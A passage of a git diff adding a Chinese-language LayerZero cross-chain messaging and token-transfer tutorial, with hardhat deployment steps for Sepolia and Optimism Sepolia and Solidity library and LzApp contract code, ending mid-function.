+- 检查跨链消息状态     
+```
+npx hardhat run scripts/sendMessage/6-checkCrossChainMessageStatus.js
+## 当 status 显示为 DELIVERED 时即表示消息传输成功，可以执行下一步操作
+```
+
+- 检查结果    
+```
+npx hardhat run scripts/sendMessage/7-checkResultOnOpsepolia.js --network optim_sepolia
+```
+
+
+## 跨链 Transfer token 
+- 在 sepolia 上部署合约   
+```
+npx hardhat run scripts/sendTokens/1-deployOFTOnSepolia.js --network sepolia
+```
+
+- 在 optim sepolia 上部署合约      
+```
+npx hardhat run scripts/sendTokens/2-deployOFTOnOptimSepolia.js --network optim_sepolia
+```
+
+- 设置 sepolia 侧的 trustRemote   
+```
+npx hardhat run scripts/sendTokens/3-setTrustRemoteForSepolia.js --network sepolia
+```
+
+- 设置 optim sepolia 侧的 trustRemote    
+```
+npx hardhat run scripts/sendTokens/4-setTrustRemoteForOptimSepolia.js --network optim_sepolia
+```
+
+- 在 sepolia 侧触发 token transfer    
+```
+npx hardhat run scripts/sendTokens/5-bridgeTokenFromSepoliaToOpsepolia.js --network sepolia
+```
+
+- 检查跨链消息状态     
+```
+npx hardhat run scripts/sendTokens/6-checkCrossChainMessageStatus.js
+## 当 status 显示为 DELIVERED 时即表示消息传输成功，可以执行下一步操作
+```
+
+- 检查结果    
+```
+npx hardhat run scripts/sendTokens/7-checkResultOnOpsepolia.js --network optim_sepolia
+```
+
+
+# 参考文档 
+- 官方文档 v1: https://docs.layerzero.network/contracts/getting-started
+- 官方文档 v2: https://docs.layerzero.network/v2
+- example for OmniCounter: https://github.com/LayerZero-Labs/solidity-examples/blob/main/test/examples/OmniCounter.test.js  
+- blog: https://senn.fun/layerzero-v1  
+- layerzero scan: https://testnet.layerzeroscan.com/  
+- Whitepaper: https://layerzero.network/publications/LayerZero_Whitepaper_V1.1.0.pdf  
+- https://www.theblockbeats.info/news/42610    
+- https://foresightnews.pro/article/detail/2100   
\ No newline at end of file
diff --git a/basic/80-crossChainTransfer/layerZero/contracts/libraries/BytesLib.sol b/basic/80-crossChainTransfer/layerZero/contracts/libraries/BytesLib.sol
new file mode 100644
index 000000000..5e3627216
--- /dev/null
+++ b/basic/80-crossChainTransfer/layerZero/contracts/libraries/BytesLib.sol
@@ -0,0 +1,487 @@
+// SPDX-License-Identifier: Unlicense
+/*
+ * @title Solidity Bytes Arrays Utils
+ * @author Gonçalo Sá <goncalo.sa@consensys.net>
+ *
+ * @dev Bytes tightly packed arrays utility library for ethereum contracts written in Solidity.
+ *      The library lets you concatenate, slice and type cast bytes arrays both in memory and storage.
+ */
+pragma solidity >=0.8.0 <0.9.0;
+
+library BytesLib {
+    function concat(bytes memory _preBytes, bytes memory _postBytes) internal pure returns (bytes memory) {
+        bytes memory tempBytes;
+
+        assembly {
+            // Get a location of some free memory and store it in tempBytes as
+            // Solidity does for memory variables.
+            tempBytes := mload(0x40)
+
+            // Store the length of the first bytes array at the beginning of
+            // the memory for tempBytes.
+            let length := mload(_preBytes)
+            mstore(tempBytes, length)
+
+            // Maintain a memory counter for the current write location in the
+            // temp bytes array by adding the 32 bytes for the array length to
+            // the starting location.
+            let mc := add(tempBytes, 0x20)
+            // Stop copying when the memory counter reaches the length of the
+            // first bytes array.
+            let end := add(mc, length)
+
+            for {
+                // Initialize a copy counter to the start of the _preBytes data,
+                // 32 bytes into its memory.
+                let cc := add(_preBytes, 0x20)
+            } lt(mc, end) {
+                // Increase both counters by 32 bytes each iteration.
+                mc := add(mc, 0x20)
+                cc := add(cc, 0x20)
+            } {
+                // Write the _preBytes data into the tempBytes memory 32 bytes
+                // at a time.
+                mstore(mc, mload(cc))
+            }
+
+            // Add the length of _postBytes to the current length of tempBytes
+            // and store it as the new length in the first 32 bytes of the
+            // tempBytes memory.
+            length := mload(_postBytes)
+            mstore(tempBytes, add(length, mload(tempBytes)))
+
+            // Move the memory counter back from a multiple of 0x20 to the
+            // actual end of the _preBytes data.
+            mc := end
+            // Stop copying when the memory counter reaches the new combined
+            // length of the arrays.
+            end := add(mc, length)
+
+            for {
+                let cc := add(_postBytes, 0x20)
+            } lt(mc, end) {
+                mc := add(mc, 0x20)
+                cc := add(cc, 0x20)
+            } {
+                mstore(mc, mload(cc))
+            }
+
+            // Update the free-memory pointer by padding our last write location
+            // to 32 bytes: add 31 bytes to the end of tempBytes to move to the
+            // next 32 byte block, then round down to the nearest multiple of
+            // 32. If the sum of the length of the two arrays is zero then add
+            // one before rounding down to leave a blank 32 bytes (the length block with 0).
+            mstore(
+                0x40,
+                and(
+                    add(add(end, iszero(add(length, mload(_preBytes)))), 31),
+                    not(31) // Round down to the nearest 32 bytes.
+                )
+            )
+        }
+
+        return tempBytes;
+    }
+
+    function concatStorage(bytes storage _preBytes, bytes memory _postBytes) internal {
+        assembly {
+            // Read the first 32 bytes of _preBytes storage, which is the length
+            // of the array. (We don't need to use the offset into the slot
+            // because arrays use the entire slot.)
+            let fslot := sload(_preBytes.slot)
+            // Arrays of 31 bytes or less have an even value in their slot,
+            // while longer arrays have an odd value. The actual length is
+            // the slot divided by two for odd values, and the lowest order
+            // byte divided by two for even values.
+            // If the slot is even, bitwise and the slot with 255 and divide by
+            // two to get the length. If the slot is odd, bitwise and the slot
+            // with -1 and divide by two.
+            let slength := div(and(fslot, sub(mul(0x100, iszero(and(fslot, 1))), 1)), 2)
+            let mlength := mload(_postBytes)
+            let newlength := add(slength, mlength)
+            // slength can contain both the length and contents of the array
+            // if length < 32 bytes so let's prepare for that
+            // v. http://solidity.readthedocs.io/en/latest/miscellaneous.html#layout-of-state-variables-in-storage
+            switch add(lt(slength, 32), lt(newlength, 32))
+            case 2 {
+                // Since the new array still fits in the slot, we just need to
+                // update the contents of the slot.
+                // uint256(bytes_storage) = uint256(bytes_storage) + uint256(bytes_memory) + new_length
+                sstore(
+                    _preBytes.slot,
+                    // all the modifications to the slot are inside this
+                    // next block
+                    add(
+                        // we can just add to the slot contents because the
+                        // bytes we want to change are the LSBs
+                        fslot,
+                        add(
+                            mul(
+                                div(
+                                    // load the bytes from memory
+                                    mload(add(_postBytes, 0x20)),
+                                    // zero all bytes to the right
+                                    exp(0x100, sub(32, mlength))
+                                ),
+                                // and now shift left the number of bytes to
+                                // leave space for the length in the slot
+                                exp(0x100, sub(32, newlength))
+                            ),
+                            // increase length by the double of the memory
+                            // bytes length
+                            mul(mlength, 2)
+                        )
+                    )
+                )
+            }
+            case 1 {
+                // The stored value fits in the slot, but the combined value
+                // will exceed it.
+                // get the keccak hash to get the contents of the array
+                mstore(0x0, _preBytes.slot)
+                let sc := add(keccak256(0x0, 0x20), div(slength, 32))
+
+                // save new length
+                sstore(_preBytes.slot, add(mul(newlength, 2), 1))
+
+                // The contents of the _postBytes array start 32 bytes into
+                // the structure. Our first read should obtain the `submod`
+                // bytes that can fit into the unused space in the last word
+                // of the stored array. To get this, we read 32 bytes starting
+                // from `submod`, so the data we read overlaps with the array
+                // contents by `submod` bytes. Masking the lowest-order
+                // `submod` bytes allows us to add that value directly to the
+                // stored value.
+
+                let submod := sub(32, slength)
+                let mc := add(_postBytes, submod)
+                let end := add(_postBytes, mlength)
+                let mask := sub(exp(0x100, submod), 1)
+
+                sstore(sc, add(and(fslot, 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00), and(mload(mc), mask)))
+
+                for {
+                    mc := add(mc, 0x20)
+                    sc := add(sc, 1)
+                } lt(mc, end) {
+                    sc := add(sc, 1)
+                    mc := add(mc, 0x20)
+                } {
+                    sstore(sc, mload(mc))
+                }
+
+                mask := exp(0x100, sub(mc, end))
+
+                sstore(sc, mul(div(mload(mc), mask), mask))
+            }
+            default {
+                // get the keccak hash to get the contents of the array
+                mstore(0x0, _preBytes.slot)
+                // Start copying to the last used word of the stored array.
+                let sc := add(keccak256(0x0, 0x20), div(slength, 32))
+
+                // save new length
+                sstore(_preBytes.slot, add(mul(newlength, 2), 1))
+
+                // Copy over the first `submod` bytes of the new data as in
+                // case 1 above.
+                let slengthmod := mod(slength, 32)
+                let mlengthmod := mod(mlength, 32)
+                let submod := sub(32, slengthmod)
+                let mc := add(_postBytes, submod)
+                let end := add(_postBytes, mlength)
+                let mask := sub(exp(0x100, submod), 1)
+
+                sstore(sc, add(sload(sc), and(mload(mc), mask)))
+
+                for {
+                    sc := add(sc, 1)
+                    mc := add(mc, 0x20)
+                } lt(mc, end) {
+                    sc := add(sc, 1)
+                    mc := add(mc, 0x20)
+                } {
+                    sstore(sc, mload(mc))
+                }
+
+                mask := exp(0x100, sub(mc, end))
+
+                sstore(sc, mul(div(mload(mc), mask), mask))
+            }
+        }
+    }
+
+    function slice(
+        bytes memory _bytes,
+        uint _start,
+        uint _length
+    ) internal pure returns (bytes memory) {
+        require(_length + 31 >= _length, "slice_overflow");
+        require(_bytes.length >= _start + _length, "slice_outOfBounds");
+
+        bytes memory tempBytes;
+
+        assembly {
+            switch iszero(_length)
+            case 0 {
+                // Get a location of some free memory and store it in tempBytes as
+                // Solidity does for memory variables.
+                tempBytes := mload(0x40)
+
+                // The first word of the slice result is potentially a partial
+                // word read from the original array. To read it, we calculate
+                // the length of that partial word and start copying that many
+                // bytes into the array. The first word we copy will start with
+                // data we don't care about, but the last `lengthmod` bytes will
+                // land at the beginning of the contents of the new array. When
+                // we're done copying, we overwrite the full first word with
+                // the actual length of the slice.
+                let lengthmod := and(_length, 31)
+
+                // The multiplication in the next line is necessary
+                // because when slicing multiples of 32 bytes (lengthmod == 0)
+                // the following copy loop was copying the origin's length
+                // and then ending prematurely not copying everything it should.
+                let mc := add(add(tempBytes, lengthmod), mul(0x20, iszero(lengthmod)))
+                let end := add(mc, _length)
+
+                for {
+                    // The multiplication in the next line has the same exact purpose
+                    // as the one above.
+                    let cc := add(add(add(_bytes, lengthmod), mul(0x20, iszero(lengthmod))), _start)
+                } lt(mc, end) {
+                    mc := add(mc, 0x20)
+                    cc := add(cc, 0x20)
+                } {
+                    mstore(mc, mload(cc))
+                }
+
+                mstore(tempBytes, _length)
+
+                //update free-memory pointer
+                //allocating the array padded to 32 bytes like the compiler does now
+                mstore(0x40, and(add(mc, 31), not(31)))
+            }
+            //if we want a zero-length slice let's just return a zero-length array
+            default {
+                tempBytes := mload(0x40)
+                //zero out the 32 bytes slice we are about to return
+                //we need to do it because Solidity does not garbage collect
+                mstore(tempBytes, 0)
+
+                mstore(0x40, add(tempBytes, 0x20))
+            }
+        }
+
+        return tempBytes;
+    }
+
+    function toAddress(bytes memory _bytes, uint _start) internal pure returns (address) {
+        require(_bytes.length >= _start + 20, "toAddress_outOfBounds");
+        address tempAddress;
+
+        assembly {
+            tempAddress := div(mload(add(add(_bytes, 0x20), _start)), 0x1000000000000000000000000)
+        }
+
+        return tempAddress;
+    }
+
+    function toUint8(bytes memory _bytes, uint _start) internal pure returns (uint8) {
+        require(_bytes.length >= _start + 1, "toUint8_outOfBounds");
+        uint8 tempUint;
+
+        assembly {
+            tempUint := mload(add(add(_bytes, 0x1), _start))
+        }
+
+        return tempUint;
+    }
+
+    function toUint16(bytes memory _bytes, uint _start) internal pure returns (uint16) {
+        require(_bytes.length >= _start + 2, "toUint16_outOfBounds");
+        uint16 tempUint;
+
+        assembly {
+            tempUint := mload(add(add(_bytes, 0x2), _start))
+        }
+
+        return tempUint;
+    }
+
+    function toUint32(bytes memory _bytes, uint _start) internal pure returns (uint32) {
+        require(_bytes.length >= _start + 4, "toUint32_outOfBounds");
+        uint32 tempUint;
+
+        assembly {
+            tempUint := mload(add(add(_bytes, 0x4), _start))
+        }
+
+        return tempUint;
+    }
+
+    function toUint64(bytes memory _bytes, uint _start) internal pure returns (uint64) {
+        require(_bytes.length >= _start + 8, "toUint64_outOfBounds");
+        uint64 tempUint;
+
+        assembly {
+            tempUint := mload(add(add(_bytes, 0x8), _start))
+        }
+
+        return tempUint;
+    }
+
+    function toUint96(bytes memory _bytes, uint _start) internal pure returns (uint96) {
+        require(_bytes.length >= _start + 12, "toUint96_outOfBounds");
+        uint96 tempUint;
+
+        assembly {
+            tempUint := mload(add(add(_bytes, 0xc), _start))
+        }
+
+        return tempUint;
+    }
+
+    function toUint128(bytes memory _bytes, uint _start) internal pure returns (uint128) {
+        require(_bytes.length >= _start + 16, "toUint128_outOfBounds");
+        uint128 tempUint;
+
+        assembly {
+            tempUint := mload(add(add(_bytes, 0x10), _start))
+        }
+
+        return tempUint;
+    }
+
+    function toUint256(bytes memory _bytes, uint _start) internal pure returns (uint) {
+        require(_bytes.length >= _start + 32, "toUint256_outOfBounds");
+        uint tempUint;
+
+        assembly {
+            tempUint := mload(add(add(_bytes, 0x20), _start))
+        }
+
+        return tempUint;
+    }
+
+    function toBytes32(bytes memory _bytes, uint _start) internal pure returns (bytes32) {
+        require(_bytes.length >= _start + 32, "toBytes32_outOfBounds");
+        bytes32 tempBytes32;
+
+        assembly {
+            tempBytes32 := mload(add(add(_bytes, 0x20), _start))
+        }
+
+        return tempBytes32;
+    }
+
+    function equal(bytes memory _preBytes, bytes memory _postBytes) internal pure returns (bool) {
+        bool success = true;
+
+        assembly {
+            let length := mload(_preBytes)
+
+            // if lengths don't match the arrays are not equal
+            switch eq(length, mload(_postBytes))
+            case 1 {
+                // cb is a circuit breaker in the for loop since there's
+                //  no said feature for inline assembly loops
+                // cb = 1 - don't breaker
+                // cb = 0 - break
+                let cb := 1
+
+                let mc := add(_preBytes, 0x20)
+                let end := add(mc, length)
+
+                for {
+                    let cc := add(_postBytes, 0x20)
+                    // the next line is the loop condition:
+                    // while(uint256(mc < end) + cb == 2)
+                } eq(add(lt(mc, end), cb), 2) {
+                    mc := add(mc, 0x20)
+                    cc := add(cc, 0x20)
+                } {
+                    // if any of these checks fails then arrays are not equal
+                    if iszero(eq(mload(mc), mload(cc))) {
+                        // unsuccess:
+                        success := 0
+                        cb := 0
+                    }
+                }
+            }
+            default {
+                // unsuccess:
+                success := 0
+            }
+        }
+
+        return success;
+    }
+
+    function equalStorage(bytes storage _preBytes, bytes memory _postBytes) internal view returns (bool) {
+        bool success = true;
+
+        assembly {
+            // we know _preBytes_offset is 0
+            let fslot := sload(_preBytes.slot)
+            // Decode the length of the stored array like in concatStorage().
+            let slength := div(and(fslot, sub(mul(0x100, iszero(and(fslot, 1))), 1)), 2)
+            let mlength := mload(_postBytes)
+
+            // if lengths don't match the arrays are not equal
+            switch eq(slength, mlength)
+            case 1 {
+                // slength can contain both the length and contents of the array
+                // if length < 32 bytes so let's prepare for that
+                // v. http://solidity.readthedocs.io/en/latest/miscellaneous.html#layout-of-state-variables-in-storage
+                if iszero(iszero(slength)) {
+                    switch lt(slength, 32)
+                    case 1 {
+                        // blank the last byte which is the length
+                        fslot := mul(div(fslot, 0x100), 0x100)
+
+                        if iszero(eq(fslot, mload(add(_postBytes, 0x20)))) {
+                            // unsuccess:
+                            success := 0
+                        }
+                    }
+                    default {
+                        // cb is a circuit breaker in the for loop since there's
+                        //  no said feature for inline assembly loops
+                        // cb = 1 - don't breaker
+                        // cb = 0 - break
+                        let cb := 1
+
+                        // get the keccak hash to get the contents of the array
+                        mstore(0x0, _preBytes.slot)
+                        let sc := keccak256(0x0, 0x20)
+
+                        let mc := add(_postBytes, 0x20)
+                        let end := add(mc, mlength)
+
+                        // the next line is the loop condition:
+                        // while(uint256(mc < end) + cb == 2)
+                        for {
+
+                        } eq(add(lt(mc, end), cb), 2) {
+                            sc := add(sc, 1)
+                            mc := add(mc, 0x20)
+                        } {
+                            if iszero(eq(sload(sc), mload(mc))) {
+                                // unsuccess:
+                                success := 0
+                                cb := 0
+                            }
+                        }
+                    }
+                }
+            }
+            default {
+                // unsuccess:
+                success := 0
+            }
+        }
+
+        return success;
+    }
+}
\ No newline at end of file
diff --git a/basic/80-crossChainTransfer/layerZero/contracts/libraries/ExcessivelySafeCall.sol b/basic/80-crossChainTransfer/layerZero/contracts/libraries/ExcessivelySafeCall.sol
new file mode 100644
index 000000000..4e6e7567c
--- /dev/null
+++ b/basic/80-crossChainTransfer/layerZero/contracts/libraries/ExcessivelySafeCall.sol
@@ -0,0 +1,132 @@
+// SPDX-License-Identifier: MIT OR Apache-2.0
+pragma solidity >=0.7.6;
+
+library ExcessivelySafeCall {
+    uint constant LOW_28_MASK = 0x00000000ffffffffffffffffffffffffffffffffffffffffffffffffffffffff;
+
+    /// @notice Use when you _really_ really _really_ don't trust the called
+    /// contract. This prevents the called contract from causing reversion of
+    /// the caller in as many ways as we can.
+    /// @dev The main difference between this and a solidity low-level call is
+    /// that we limit the number of bytes that the callee can cause to be
+    /// copied to caller memory. This prevents stupid things like malicious
+    /// contracts returning 10,000,000 bytes causing a local OOG when copying
+    /// to memory.
+    /// @param _target The address to call
+    /// @param _gas The amount of gas to forward to the remote contract
+    /// @param _maxCopy The maximum number of bytes of returndata to copy
+    /// to memory.
+    /// @param _calldata The data to send to the remote contract
+    /// @return success and returndata, as `.call()`. Returndata is capped to
+    /// `_maxCopy` bytes.
+    function excessivelySafeCall(
+        address _target,
+        uint _gas,
+        uint16 _maxCopy,
+        bytes memory _calldata
+    ) internal returns (bool, bytes memory) {
+        // set up for assembly call
+        uint _toCopy;
+        bool _success;
+        bytes memory _returnData = new bytes(_maxCopy);
+        // dispatch message to recipient
+        // by assembly calling "handle" function
+        // we call via assembly to avoid memcopying a very large returndata
+        // returned by a malicious contract
+        assembly {
+            _success := call(
+                _gas, // gas
+                _target, // recipient
+                0, // ether value
+                add(_calldata, 0x20), // inloc
+                mload(_calldata), // inlen
+                0, // outloc
+                0 // outlen
+            )
+            // limit our copy to 256 bytes
+            _toCopy := returndatasize()
+            if gt(_toCopy, _maxCopy) {
+                _toCopy := _maxCopy
+            }
+            // Store the length of the copied bytes
+            mstore(_returnData, _toCopy)
+            // copy the bytes from returndata[0:_toCopy]
+            returndatacopy(add(_returnData, 0x20), 0, _toCopy)
+        }
+        return (_success, _returnData);
+    }
+
+    /// @notice Use when you _really_ really _really_ don't trust the called
+    /// contract. This prevents the called contract from causing reversion of
+    /// the caller in as many ways as we can.
+    /// @dev The main difference between this and a solidity low-level call is
+    /// that we limit the number of bytes that the callee can cause to be
+    /// copied to caller memory. This prevents stupid things like malicious
+    /// contracts returning 10,000,000 bytes causing a local OOG when copying
+    /// to memory.
+    /// @param _target The address to call
+    /// @param _gas The amount of gas to forward to the remote contract
+    /// @param _maxCopy The maximum number of bytes of returndata to copy
+    /// to memory.
+    /// @param _calldata The data to send to the remote contract
+    /// @return success and returndata, as `.call()`. Returndata is capped to
+    /// `_maxCopy` bytes.
+    function excessivelySafeStaticCall(
+        address _target,
+        uint _gas,
+        uint16 _maxCopy,
+        bytes memory _calldata
+    ) internal view returns (bool, bytes memory) {
+        // set up for assembly call
+        uint _toCopy;
+        bool _success;
+        bytes memory _returnData = new bytes(_maxCopy);
+        // dispatch message to recipient
+        // by assembly calling "handle" function
+        // we call via assembly to avoid memcopying a very large returndata
+        // returned by a malicious contract
+        assembly {
+            _success := staticcall(
+                _gas, // gas
+                _target, // recipient
+                add(_calldata, 0x20), // inloc
+                mload(_calldata), // inlen
+                0, // outloc
+                0 // outlen
+            )
+            // limit our copy to 256 bytes
+            _toCopy := returndatasize()
+            if gt(_toCopy, _maxCopy) {
+                _toCopy := _maxCopy
+            }
+            // Store the length of the copied bytes
+            mstore(_returnData, _toCopy)
+            // copy the bytes from returndata[0:_toCopy]
+            returndatacopy(add(_returnData, 0x20), 0, _toCopy)
+        }
+        return (_success, _returnData);
+    }
+
+    /**
+     * @notice Swaps function selectors in encoded contract calls
+     * @dev Allows reuse of encoded calldata for functions with identical
+     * argument types but different names. It simply swaps out the first 4 bytes
+     * for the new selector. This function modifies memory in place, and should
+     * only be used with caution.
+     * @param _newSelector The new 4-byte selector
+     * @param _buf The encoded contract args
+     */
+    function swapSelector(bytes4 _newSelector, bytes memory _buf) internal pure {
+        require(_buf.length >= 4);
+        uint _mask = LOW_28_MASK;
+        assembly {
+            // load the first word of
+            let _word := mload(add(_buf, 0x20))
+            // mask out the top 4 bytes
+            // /x
+            _word := and(_word, _mask)
+            _word := or(_newSelector, _word)
+            mstore(add(_buf, 0x20), _word)
+        }
+    }
+}
\ No newline at end of file
diff --git a/basic/80-crossChainTransfer/layerZero/contracts/lzApp/LzApp.sol b/basic/80-crossChainTransfer/layerZero/contracts/lzApp/LzApp.sol
new file mode 100644
index 000000000..e3478bbd6
--- /dev/null
+++ b/basic/80-crossChainTransfer/layerZero/contracts/lzApp/LzApp.sol
@@ -0,0 +1,178 @@
+// SPDX-License-Identifier: MIT
+
+pragma solidity ^0.8.0;
+
+import "@openzeppelin/contracts/access/Ownable.sol";
+import "./interfaces/ILayerZeroReceiver.sol";
+import "./interfaces/ILayerZeroUserApplicationConfig.sol";
+import "./interfaces/ILayerZeroEndpoint.sol";
+import "../libraries/BytesLib.sol";
+
+/*
+ * a generic LzReceiver implementation
+ */
+abstract contract LzApp is Ownable, ILayerZeroReceiver, ILayerZeroUserApplicationConfig {
+    using BytesLib for bytes;
+
+    // ua can not send payload larger than this by default, but it can be changed by the ua owner
+    uint public constant DEFAULT_PAYLOAD_SIZE_LIMIT = 10000;
+
+    ILayerZeroEndpoint public immutable lzEndpoint;
+    mapping(uint16 => bytes) public trustedRemoteLookup;
+    mapping(uint16 => mapping(uint16 => uint)) public minDstGasLookup;
+    mapping(uint16 => uint) public payloadSizeLimitLookup;
+    address public precrime;
+
+    event SetPrecrime(address precrime);
+    event SetTrustedRemote(uint16 _remoteChainId, bytes _path);
+    event SetTrustedRemoteAddress(uint16 _remoteChainId, bytes _remoteAddress);
+    event SetMinDstGas(uint16 _dstChainId, uint16 _type, uint _minDstGas);
+
+    constructor(address _endpoint) {
+        lzEndpoint = ILayerZeroEndpoint(_endpoint);
+    }
+
+    function lzReceive(
+        uint16 _srcChainId,
+        bytes calldata _srcAddress,
+        uint64 _nonce,
+        bytes calldata _payload
+    ) public virtual override {
+        // lzReceive must be called by the endpoint for security
+        require(_msgSender() == address(lzEndpoint), "LzApp: invalid endpoint caller");
+
+        bytes memory trustedRemote = trustedRemoteLookup[_srcChainId];
+        // if will still block the message pathway from (srcChainId, srcAddress). should not receive message from untrusted remote.
+        require(
+            _srcAddress.length == trustedRemote.length && trustedRemote.length > 0 && keccak256(_srcAddress) == keccak256(trustedRemote),
+            "LzApp: invalid source sending contract"
+        );
+
+        _blockingLzReceive(_srcChainId, _srcAddress, _nonce, _payload);
+    }
+
+    // abstract function - the default behaviour of LayerZero is blocking. See: NonblockingLzApp if you dont need to enforce ordered messaging
+    function _blockingLzReceive(
+        uint16 _srcChainId,
+        bytes memory _srcAddress,
+        uint64 _nonce,
+        bytes memory _payload
+    ) internal virtual;
+
+    function _lzSend(
+        uint16 _dstChainId,
+        bytes memory _payload,
+        address payable _refundAddress,
+        address _zroPaymentAddress,
+        bytes memory _adapterParams,
+        uint _nativeFee
+    ) internal virtual {
+        bytes memory trustedRemote = trustedRemoteLookup[_dstChainId];
+        require(trustedRemote.length != 0, "LzApp: destination chain is not a trusted source");
+        _checkPayloadSize(_dstChainId, _payload.length);
+        lzEndpoint.send{value: _nativeFee}(_dstChainId, trustedRemote, _payload, _refundAddress, _zroPaymentAddress, _adapterParams);
+    }
+
+    function _checkGasLimit(
+        uint16 _dstChainId,
+        uint16 _type,
+        bytes memory _adapterParams,
+        uint _extraGas
+    ) internal view virtual {
+        uint providedGasLimit = _getGasLimit(_adapterParams);
+        uint minGasLimit = minDstGasLookup[_dstChainId][_type];
+        require(minGasLimit > 0, "LzApp: minGasLimit not set");
+        require(providedGasLimit >= minGasLimit + _extraGas, "LzApp: gas limit is too low");
+    }
+
+    function _getGasLimit(bytes memory _adapterParams) internal pure virtual returns (uint gasLimit) {
+        require(_adapterParams.length >= 34, "LzApp: invalid adapterParams");
+        assembly {
+            gasLimit := mload(add(_adapterParams, 34))
+        }
+    }
+
+    function _checkPayloadSize(uint16 _dstChainId, uint _payloadSize) internal view virtual {
+        uint payloadSizeLimit = payloadSizeLimitLookup[_dstChainId];
+        if (payloadSizeLimit == 0) {
+            // use default if not set
+            payloadSizeLimit = DEFAULT_PAYLOAD_SIZE_LIMIT;
+        }
+        require(_payloadSize <= payloadSizeLimit, "LzApp: payload size is too large");
+    }
+
+    //---------------------------UserApplication config----------------------------------------
+    function getConfig(
+        uint16 _version,
+        uint16 _chainId,
+        address,
+        uint _configType
+    ) external view returns (bytes memory) {
+        return lzEndpoint.getConfig(_version, _chainId, address(this), _configType);
+    }
+
+    // generic config for LayerZero user Application
+    function setConfig(
+        uint16 _version,
+        uint16 _chainId,
+        uint _configType,
+        bytes calldata _config
+    ) external override onlyOwner {
+        lzEndpoint.setConfig(_version, _chainId, _configType, _config);
+    }
+
+    function setSendVersion(uint16 _version) external override onlyOwner {
+        lzEndpoint.setSendVersion(_version);
+    }
+
+    function setReceiveVersion(uint16 _version) external override onlyOwner {
+        lzEndpoint.setReceiveVersion(_version);
+    }
+
+    function forceResumeReceive(uint16 _srcChainId, bytes calldata _srcAddress) external override onlyOwner {
+        lzEndpoint.forceResumeReceive(_srcChainId, _srcAddress);
+    }
+
+    // _path = abi.encodePacked(remoteAddress, localAddress)
+    // this function set the trusted path for the cross-chain communication
+    function setTrustedRemote(uint16 _remoteChainId, bytes calldata _path) external onlyOwner {
+        trustedRemoteLookup[_remoteChainId] = _path;
+        emit SetTrustedRemote(_remoteChainId, _path);
+    }
+
+    function setTrustedRemoteAddress(uint16 _remoteChainId, bytes calldata _remoteAddress) external onlyOwner {
+        trustedRemoteLookup[_remoteChainId] = abi.encodePacked(_remoteAddress, address(this));
+        emit SetTrustedRemoteAddress(_remoteChainId, _remoteAddress);
+    }
+
+    function getTrustedRemoteAddress(uint16 _remoteChainId) external view returns (bytes memory) {
+        bytes memory path = trustedRemoteLookup[_remoteChainId];
+        require(path.length != 0, "LzApp: no trusted path record");
+        return path.slice(0, path.length - 20); // the last 20 bytes should be address(this)
+    }
+
+    function setPrecrime(address _precrime) external onlyOwner {
+        precrime = _precrime;
+        emit SetPrecrime(_precrime);
+    }
+
+    function setMinDstGas(
+        uint16 _dstChainId,
+        uint16 _packetType,
+        uint _minGas
+    ) external onlyOwner {
+        minDstGasLookup[_dstChainId][_packetType] = _minGas;
+        emit SetMinDstGas(_dstChainId, _packetType, _minGas);
+    }
+
+    // if the size is 0, it means default size limit
+    function setPayloadSizeLimit(uint16 _dstChainId, uint _size) external onlyOwner {
+        payloadSizeLimitLookup[_dstChainId] = _size;
+    }
+
+    //--------------------------- VIEW FUNCTION ----------------------------------------
+    function isTrustedRemote(uint16 _srcChainId, bytes calldata _srcAddress) external view returns (bool) {
+        bytes memory trustedSource = trustedRemoteLookup[_srcChainId];
+        return keccak256(trustedSource) == keccak256(_srcAddress);
+    }
+}
\ No newline at end of file
diff --git a/basic/80-crossChainTransfer/layerZero/contracts/lzApp/NonblockingLzApp.sol b/basic/80-crossChainTransfer/layerZero/contracts/lzApp/NonblockingLzApp.sol
new file mode 100644
index 000000000..b5f6a6ae4
--- /dev/null
+++ b/basic/80-crossChainTransfer/layerZero/contracts/lzApp/NonblockingLzApp.sol
@@ -0,0 +1,86 @@
+// SPDX-License-Identifier: MIT
+
+pragma solidity ^0.8.0;
+
+import "./LzApp.sol";
+import "../libraries/ExcessivelySafeCall.sol";
+
+/*
+ * the default LayerZero messaging behaviour is blocking, i.e. any failed message will block the channel
+ * this abstract class try-catch all fail messages and store locally for future retry. hence, non-blocking
+ * NOTE: if the srcAddress is not configured properly, it will still block the message pathway from (srcChainId, srcAddress)
+ */
+abstract contract NonblockingLzApp is LzApp {
+    using ExcessivelySafeCall for address;
+
+    constructor(address _endpoint) LzApp(_endpoint) {}
+
+    mapping(uint16 => mapping(bytes => mapping(uint64 => bytes32))) public failedMessages;
+
+    event MessageFailed(uint16 _srcChainId, bytes _srcAddress, uint64 _nonce, bytes _payload, bytes _reason);
+    event RetryMessageSuccess(uint16 _srcChainId, bytes _srcAddress, uint64 _nonce, bytes32 _payloadHash);
+
+    // overriding the virtual function in LzReceiver
+    function _blockingLzReceive(
+        uint16 _srcChainId,
+        bytes memory _srcAddress,
+        uint64 _nonce,
+        bytes memory _payload
+    ) internal virtual override {
+        (bool success, bytes memory reason) = address(this).excessivelySafeCall(
+            gasleft(),
+            150,
+            abi.encodeWithSelector(this.nonblockingLzReceive.selector, _srcChainId, _srcAddress, _nonce, _payload)
+        );
+        if (!success) {
+            _storeFailedMessage(_srcChainId, _srcAddress, _nonce, _payload, reason);
+        }
+    }
+
+    function _storeFailedMessage(
+        uint16 _srcChainId,
+        bytes memory _srcAddress,
+        uint64 _nonce,
+        bytes memory _payload,
+        bytes memory _reason
+    ) internal virtual {
+        failedMessages[_srcChainId][_srcAddress][_nonce] = keccak256(_payload);
+        emit MessageFailed(_srcChainId, _srcAddress, _nonce, _payload, _reason);
+    }
+
+    function nonblockingLzReceive(
+        uint16 _srcChainId,
+        bytes calldata _srcAddress,
+        uint64 _nonce,
+        bytes calldata _payload
+    ) public virtual {
+        // only internal transaction
+        require(_msgSender() == address(this), "NonblockingLzApp: caller must be LzApp");
+        _nonblockingLzReceive(_srcChainId, _srcAddress, _nonce, _payload);
+    }
+
+    //@notice override this function
+    function _nonblockingLzReceive(
+        uint16 _srcChainId,
+        bytes memory _srcAddress,
+        uint64 _nonce,
+        bytes memory _payload
+    ) internal virtual;
+
+    function retryMessage(
+        uint16 _srcChainId,
+        bytes calldata _srcAddress,
+        uint64 _nonce,
+        bytes calldata _payload
+    ) public payable virtual {
+        // assert there is message to retry
+        bytes32 payloadHash = failedMessages[_srcChainId][_srcAddress][_nonce];
+        require(payloadHash != bytes32(0), "NonblockingLzApp: no stored message");
